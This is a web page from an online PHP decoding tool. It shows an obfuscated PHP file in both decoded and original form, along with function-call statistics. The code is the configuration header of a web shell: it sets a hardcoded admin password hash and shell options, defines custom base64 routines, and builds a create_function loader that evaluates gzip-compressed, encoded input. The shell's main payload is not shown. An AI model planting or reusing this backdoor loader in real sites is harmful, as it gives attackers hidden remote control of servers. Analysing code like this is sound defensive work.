Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php set_time_limit(0); ini_set('memory_limit', '-1'); $yPoATogtXHGiZ = array( 'usaW..
Decoded Output download
<?php
set_time_limit(0);
ini_set('memory_limit', '-1');
$yPoATogtXHGiZ = array(
'usaWetsPlmZrChCF' => 'admin',
'patmAkSUFwreGLkef' => 'e2d9393b6feb1529931b4619155f6225',
'saJWUjdrZEpqdmm' => '0',
'lorEELZl' => '403',
'shZzGkPGVJqz' => '1',
'poxTvGN' => false,
'cgLAFZPlTkoLEN' => true,
);
$zsfILug='f'.'unct'.'io'.'n'.'_exis'.'t'.'s';$syUrcLNHqaCml='print_r';$cEchjWJW='g'.'z'.'i'.'nfl'.'ate';$ToTBzshqILEE='ABCDE'.'F'.'G'.'HI'.'J'.'KL'.'M'.'NO'.'PQRS'.'T'.'UV'.'WX'.'Y'.'Za'.'bc'.'d'.'efg'.'h'.'i'.'jk'.'lm'.'no'.'p'.'q'.'r'.'st'.'u'.'vwx'.'yz'.'01'.'234'.'56'.'78'.'9+'.'/=';$RhdXmMpeAv='su'.'b'.'s'.'tr';$WgyEWnFy='or'.'d';$VDHrvQDyqorHgrW='s'.'trlen';$EsInz='s'.'trpo'.'s';$WMMImfadfewDv='imp'.'l'.'ode'.'';$imkxrEbnrBnPk='c'.'hr'.'';$NUnqCMEBOpisBEE='p'.'r'.'eg_replac'.'e';$GWfWZfsLnORz='['.'^'.'A'.'-'.'Za-z'.'0-'.'9'.'\+'.'\'.'/\'.'=]';$MyyjkoUdQ='=='.'='.'';$tiSxbs="";$lndkFdbAabqx='b'.'a'.'s'.'e'.'64'.'_'.'en'.'cod'.'e'.'';$thaoVqag='b'.'ase64'.'_d'.'ecod'.'e';if(!$zsfILug($lndkFdbAabqx)){function etSbMu($JlQdF){global $ToTBzshqILEE,$RhdXmMpeAv,$WgyEWnFy,$VDHrvQDyqorHgrW,$WMMImfadfewDv,$tiSxbs,$MyyjkoUdQ;if(empty($JlQdF))return;$isiBJutjyEvDx = $wKTcgUXAXTjz = $vEjQIMofllhWuYW = $FMFQh = $LdsckRzpGMMuV = $fRjww = $hkMCXIwR = $GnMzKdNjcf = $oPHCdzuWm = 0;$XkrNveJH = 0;$rMXvGbtT = $tiSxbs;$XjRpaNtWoqTTdUp = array();if(!$JlQdF){return $JlQdF;}do{$isiBJutjyEvDx = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$wKTcgUXAXTjz = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$vEjQIMofllhWuYW = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$GnMzKdNjcf = $isiBJutjyEvDx << 16 | $wKTcgUXAXTjz << 8 | $vEjQIMofllhWuYW;$FMFQh = $GnMzKdNjcf >> 18 & 0x3f;$LdsckRzpGMMuV = $GnMzKdNjcf >> 12 & 0x3f;$fRjww = $GnMzKdNjcf >> 6 & 0x3f;$hkMCXIwR = $GnMzKdNjcf & 0x3f;$XjRpaNtWoqTTdUp[$XkrNveJH++] = $RhdXmMpeAv($ToTBzshqILEE, $FMFQh, 1).$RhdXmMpeAv($ToTBzshqILEE, $LdsckRzpGMMuV, 1).$RhdXmMpeAv($ToTBzshqILEE, $fRjww, 1).$RhdXmMpeAv($ToTBzshqILEE, $hkMCXIwR, 1);} while ($oPHCdzuWm < $VDHrvQDyqorHgrW($JlQdF));$rMXvGbtT = $WMMImfadfewDv($XjRpaNtWoqTTdUp, $tiSxbs);$rcmeiGjTW = ($VDHrvQDyqorHgrW($JlQdF) % 3);return ($rcmeiGjTW ? $RhdXmMpeAv($rMXvGbtT, 0, ($rcmeiGjTW - 3)) : $rMXvGbtT).$RhdXmMpeAv($MyyjkoUdQ, ($rcmeiGjTW || 3));}}else{function etSbMu($JlQdF){global $lndkFdbAabqx;return $lndkFdbAabqx($JlQdF);}}if(!$zsfILug($thaoVqag)){function FJbSYo($dckycv){global $ToTBzshqILEE,$RhdXmMpeAv,$VDHrvQDyqorHgrW,$EsInz,$imkxrEbnrBnPk,$NUnqCMEBOpisBEE,$GWfWZfsLnORz,$tiSxbs;if(empty($dckycv))return;$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;$oPHCdzuWm = 0;$KcbGLoJSFDSQc = $tiSxbs;$dckycv = $NUnqCMEBOpisBEE($GWfWZfsLnORz, $tiSxbs, $dckycv);do{$jfSaohgdRGCpbF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$naXrhbvQNlHZMqG = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$XGDhOXDSbv = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$YAykxQtrurjCF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$kxhuWeLw = ($jfSaohgdRGCpbF << 2) | ($naXrhbvQNlHZMqG >> 4);$XqGSm = (($naXrhbvQNlHZMqG & 15) << 4) | ($XGDhOXDSbv >> 2);$OcurJcR = (($XGDhOXDSbv & 3) << 6) | $YAykxQtrurjCF;$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $kxhuWeLw);if ($XGDhOXDSbv != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $XqGSm);}if ($YAykxQtrurjCF != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $OcurJcR);}$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;}while($oPHCdzuWm < $VDHrvQDyqorHgrW($dckycv));return $KcbGLoJSFDSQc;}}else{function FJbSYo($JlQdF){global $thaoVqag;return $thaoVqag($JlQdF);}}$BJjGNH='cre'.'ate'.'_f'.'u'.'n'.'c'.'tio'.'n'.'';$xdPXX = @$BJjGNH('$ry',$syUrcLNHqaCml.'('.$cEchjWJW.'('.'FJ'.'bSYo'.'($ry)'.')'.')'.';');
/* BSnTjsDwVWNUnfRAvlTEpIySxGMXswPOCDHFqcLJlzGAjbynrTxyKBeWlwYnAFNvwOlieJojexMQjTAHoeAqGrcyWbpbplBulIAR */
/* You're killing me again Am I still in your head ? You used to light me up Now you shut me down -- Solevisible */
function __ZW5jb2Rlcg($s){return etSbMu($s);}function __ZGVjb2Rlcg($s){return FJbSYo($s);}$GLOBALS['DB_NAME'] = $GLOBALS['yPoATogtXHGiZ'];if(true){foreach($GLOBALS['DB_NAME'] as $key => $value){$prefix = substr($key, 0, 2);if($prefix == "us"){$GLOBALS['DB_NAME']["user"] = $value;$GLOBALS['DB_NAME']["user_rand"] = $key;}elseif($prefix == "pa"){$GLOBALS['DB_NAME']["pass"] = $value;$GLOBALS['DB_NAME']["pass_rand"] = $key;}elseif($prefix == "sa"){$GLOBALS['DB_NAME']["safemode"] = $value;$GLOBALS['DB_NAME']["safemode_rand"] = $key;}elseif($prefix == "lo"){$GLOBALS['DB_NAME']["login_page"] = $value;$GLOBALS['DB_NAME']["login_page_rand"] = $key;}elseif($prefix == "sh"){$GLOBALS['DB_NAME']["show_icons"] = $value;$GLOBALS['DB_NAME']["show_icons_rand"] = $key;}elseif($prefix == "po"){$GLOBALS['DB_NAME']["post_encryption"] = $value;$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;}elseif($prefix == "cg"){$GLOBALS['DB_NAME']["cgi_api"] = $value;$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;}}}unset($GLOBALS['yPoATogtXHGiZ']);
?>
Did this file decode correctly?
Original Code
<?php
set_time_limit(0);
ini_set('memory_limit', '-1');
$yPoATogtXHGiZ = array(
'usaWetsPlmZrChCF' => 'admin',
'patmAkSUFwreGLkef' => 'e2d9393b6feb1529931b4619155f6225',
'saJWUjdrZEpqdmm' => '0',
'lorEELZl' => '403',
'shZzGkPGVJqz' => '1',
'poxTvGN' => false,
'cgLAFZPlTkoLEN' => true,
);
$zsfILug='f'.'unct'.'io'.'n'.'_exis'.'t'.'s';$syUrcLNHqaCml='print_r';$cEchjWJW='g'.'z'.'i'.'nfl'.'ate';$ToTBzshqILEE='ABCDE'.'F'.'G'.'HI'.'J'.'KL'.'M'.'NO'.'PQRS'.'T'.'UV'.'WX'.'Y'.'Za'.'bc'.'d'.'efg'.'h'.'i'.'jk'.'lm'.'no'.'p'.'q'.'r'.'st'.'u'.'vwx'.'yz'.'01'.'234'.'56'.'78'.'9+'.'/=';$RhdXmMpeAv='su'.'b'.'s'.'tr';$WgyEWnFy='or'.'d';$VDHrvQDyqorHgrW='s'.'trlen';$EsInz='s'.'trpo'.'s';$WMMImfadfewDv='imp'.'l'.'ode'.'';$imkxrEbnrBnPk='c'.'hr'.'';$NUnqCMEBOpisBEE='p'.'r'.'eg_replac'.'e';$GWfWZfsLnORz='['.'^'.'A'.'-'.'Za-z'.'0-'.'9'.'\+'.'\\'.'/\\'.'=]';$MyyjkoUdQ='=='.'='.'';$tiSxbs="";$lndkFdbAabqx='b'.'a'.'s'.'e'.'64'.'_'.'en'.'cod'.'e'.'';$thaoVqag='b'.'ase64'.'_d'.'ecod'.'e';if(!$zsfILug($lndkFdbAabqx)){function etSbMu($JlQdF){global $ToTBzshqILEE,$RhdXmMpeAv,$WgyEWnFy,$VDHrvQDyqorHgrW,$WMMImfadfewDv,$tiSxbs,$MyyjkoUdQ;if(empty($JlQdF))return;$isiBJutjyEvDx = $wKTcgUXAXTjz = $vEjQIMofllhWuYW = $FMFQh = $LdsckRzpGMMuV = $fRjww = $hkMCXIwR = $GnMzKdNjcf = $oPHCdzuWm = 0;$XkrNveJH = 0;$rMXvGbtT = $tiSxbs;$XjRpaNtWoqTTdUp = array();if(!$JlQdF){return $JlQdF;}do{$isiBJutjyEvDx = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$wKTcgUXAXTjz = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$vEjQIMofllhWuYW = $WgyEWnFy($RhdXmMpeAv($JlQdF, $oPHCdzuWm++, 1));$GnMzKdNjcf = $isiBJutjyEvDx << 16 | $wKTcgUXAXTjz << 8 | $vEjQIMofllhWuYW;$FMFQh = $GnMzKdNjcf >> 18 & 0x3f;$LdsckRzpGMMuV = $GnMzKdNjcf >> 12 & 0x3f;$fRjww = $GnMzKdNjcf >> 6 & 0x3f;$hkMCXIwR = $GnMzKdNjcf & 0x3f;$XjRpaNtWoqTTdUp[$XkrNveJH++] = $RhdXmMpeAv($ToTBzshqILEE, $FMFQh, 1).$RhdXmMpeAv($ToTBzshqILEE, $LdsckRzpGMMuV, 1).$RhdXmMpeAv($ToTBzshqILEE, $fRjww, 1).$RhdXmMpeAv($ToTBzshqILEE, $hkMCXIwR, 1);} while ($oPHCdzuWm < $VDHrvQDyqorHgrW($JlQdF));$rMXvGbtT = $WMMImfadfewDv($XjRpaNtWoqTTdUp, $tiSxbs);$rcmeiGjTW = ($VDHrvQDyqorHgrW($JlQdF) % 3);return ($rcmeiGjTW ? $RhdXmMpeAv($rMXvGbtT, 0, ($rcmeiGjTW - 3)) : $rMXvGbtT).$RhdXmMpeAv($MyyjkoUdQ, ($rcmeiGjTW || 3));}}else{function etSbMu($JlQdF){global $lndkFdbAabqx;return $lndkFdbAabqx($JlQdF);}}if(!$zsfILug($thaoVqag)){function FJbSYo($dckycv){global $ToTBzshqILEE,$RhdXmMpeAv,$VDHrvQDyqorHgrW,$EsInz,$imkxrEbnrBnPk,$NUnqCMEBOpisBEE,$GWfWZfsLnORz,$tiSxbs;if(empty($dckycv))return;$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;$oPHCdzuWm = 0;$KcbGLoJSFDSQc = $tiSxbs;$dckycv = $NUnqCMEBOpisBEE($GWfWZfsLnORz, $tiSxbs, $dckycv);do{$jfSaohgdRGCpbF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$naXrhbvQNlHZMqG = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$XGDhOXDSbv = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$YAykxQtrurjCF = $EsInz($ToTBzshqILEE, $RhdXmMpeAv($dckycv, $oPHCdzuWm++, 1));$kxhuWeLw = ($jfSaohgdRGCpbF << 2) | ($naXrhbvQNlHZMqG >> 4);$XqGSm = (($naXrhbvQNlHZMqG & 15) << 4) | ($XGDhOXDSbv >> 2);$OcurJcR = (($XGDhOXDSbv & 3) << 6) | $YAykxQtrurjCF;$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $kxhuWeLw);if ($XGDhOXDSbv != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $XqGSm);}if ($YAykxQtrurjCF != 64) {$KcbGLoJSFDSQc = $KcbGLoJSFDSQc . $imkxrEbnrBnPk((int) $OcurJcR);}$kxhuWeLw = $XqGSm = $OcurJcR = $tiSxbs;$jfSaohgdRGCpbF = $naXrhbvQNlHZMqG = $XGDhOXDSbv = $YAykxQtrurjCF = $tiSxbs;}while($oPHCdzuWm < $VDHrvQDyqorHgrW($dckycv));return $KcbGLoJSFDSQc;}}else{function FJbSYo($JlQdF){global $thaoVqag;return $thaoVqag($JlQdF);}}$BJjGNH='cre'.'ate'.'_f'.'u'.'n'.'c'.'tio'.'n'.'';$xdPXX = @$BJjGNH('$ry',$syUrcLNHqaCml.'('.$cEchjWJW.'('.'FJ'.'bSYo'.'($ry)'.')'.')'.';');
/* BSnTjsDwVWNUnfRAvlTEpIySxGMXswPOCDHFqcLJlzGAjbynrTxyKBeWlwYnAFNvwOlieJojexMQjTAHoeAqGrcyWbpbplBulIAR */
/* You're killing me again Am I still in your head ? You used to light me up Now you shut me down -- Solevisible */
function __ZW5jb2Rlcg($s){return etSbMu($s);}function __ZGVjb2Rlcg($s){return FJbSYo($s);}$GLOBALS['DB_NAME'] = $GLOBALS['yPoATogtXHGiZ'];if(true){foreach($GLOBALS['DB_NAME'] as $key => $value){$prefix = substr($key, 0, 2);if($prefix == "us"){$GLOBALS['DB_NAME']["user"] = $value;$GLOBALS['DB_NAME']["user_rand"] = $key;}elseif($prefix == "pa"){$GLOBALS['DB_NAME']["pass"] = $value;$GLOBALS['DB_NAME']["pass_rand"] = $key;}elseif($prefix == "sa"){$GLOBALS['DB_NAME']["safemode"] = $value;$GLOBALS['DB_NAME']["safemode_rand"] = $key;}elseif($prefix == "lo"){$GLOBALS['DB_NAME']["login_page"] = $value;$GLOBALS['DB_NAME']["login_page_rand"] = $key;}elseif($prefix == "sh"){$GLOBALS['DB_NAME']["show_icons"] = $value;$GLOBALS['DB_NAME']["show_icons_rand"] = $key;}elseif($prefix == "po"){$GLOBALS['DB_NAME']["post_encryption"] = $value;$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;}elseif($prefix == "cg"){$GLOBALS['DB_NAME']["cgi_api"] = $value;$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;}}}unset($GLOBALS['yPoATogtXHGiZ']);
?>
Function Calls
ini_set | 1 |
set_time_limit | 1 |
create_function | 1 |
function_exists | 2 |
Stats
MD5 | be322cac25af451e2ddd1eddc7c21bd6 |
Eval Count | 1 |
Decode Time | 214 ms |